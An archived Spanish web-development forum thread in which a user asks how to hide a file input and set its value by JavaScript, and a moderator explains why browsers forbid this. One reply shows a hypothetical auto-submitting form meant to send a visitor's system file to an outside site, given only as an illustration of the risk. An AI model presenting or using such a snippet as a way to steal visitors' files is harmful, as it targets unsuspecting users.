Foros del Web » Creando para Internet » HTML »

Campo file oculto

Estas en el tema de Campo file oculto en el foro de HTML en Foros del Web. Como puedo hacer para que un campo <input type="file" sea oculto (hidden). Lo que intento es asignarle el valor al campo por Javascript y que ...
  #1 (permalink)  
Antiguo 21/05/2004, 06:54
 
Fecha de Ingreso: noviembre-2003
Mensajes: 383
Antigüedad: 20 años, 4 meses
Puntos: 2
Campo file oculto

Como puedo hacer para que un campo <input type="file" sea oculto (hidden).

Lo que intento es asignarle el valor al campo por Javascript y que el usuario no vea el campo.

gracias.
  #2 (permalink)  
Antiguo 21/05/2004, 07:50
Avatar de KarlanKas
Moderador extraterrestre
 
Fecha de Ingreso: diciembre-2001
Ubicación: Madrid
Mensajes: 6.987
Antigüedad: 22 años, 4 meses
Puntos: 61
Eso es imposible. Si piensas un poco te darías cuenta de que eso generaría un problema de seguridad tremendo.

Para ocultarlo pon:

<input type="file" style="visibility:hidden" name="pepe">

Pero jamás conseguirás asignarle ningún valor por Javascript...

__________________
Cómo escribir

No hay pregunta tonta, sino tonto que quiere seguir en la ignorancia.
  #3 (permalink)  
Antiguo 21/05/2004, 07:54
 
Fecha de Ingreso: noviembre-2003
Mensajes: 383
Antigüedad: 20 años, 4 meses
Puntos: 2
Me podrías explicar el problema de seguridad porque no tengo mucha idea.

gracias.
  #4 (permalink)  
Antiguo 21/05/2004, 10:33
Avatar de KarlanKas
Moderador extraterrestre
 
Fecha de Ingreso: diciembre-2001
Ubicación: Madrid
Mensajes: 6.987
Antigüedad: 22 años, 4 meses
Puntos: 61
Imaginate que quieres quitar a alguien un archivo, por ejemplo el win.com. Para eso sólo tendrías que poner

<body onload="document.pepe.submit()">
<form name="pepe" action="http://www.mipagina.com/recepcion.html">
<input type="file" value="c:\windows\win.com">
</form>
</body>

Con esto "robarías" ese archivo a cada visitante de tu página. No haría falta ni que enviara el formulario. Es por ello que los navegadores actuales no admiten definir el value de ningun input file. Ni por html ni por Javascript... ni por ningún medio.

Lo entiendes ahora?
__________________
Cómo escribir

No hay pregunta tonta, sino tonto que quiere seguir en la ignorancia.
  #5 (permalink)  
Antiguo 25/08/2004, 18:38
Avatar de RUX
RUX
 
Fecha de Ingreso: enero-2004
Ubicación: Las Palmas de Gran Canari
Mensajes: 566
Antigüedad: 20 años, 2 meses
Puntos: 0
Hola!!. tambien puedes probarlo asi, para ocultarlo mejor y que no deje ningun espacio en blanco: <input type="file" style="display:none" name="pepe">

Saludos
__________________
Rux.es - Sitio Personal | IslaRock.com - Todo Rock
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 22:51.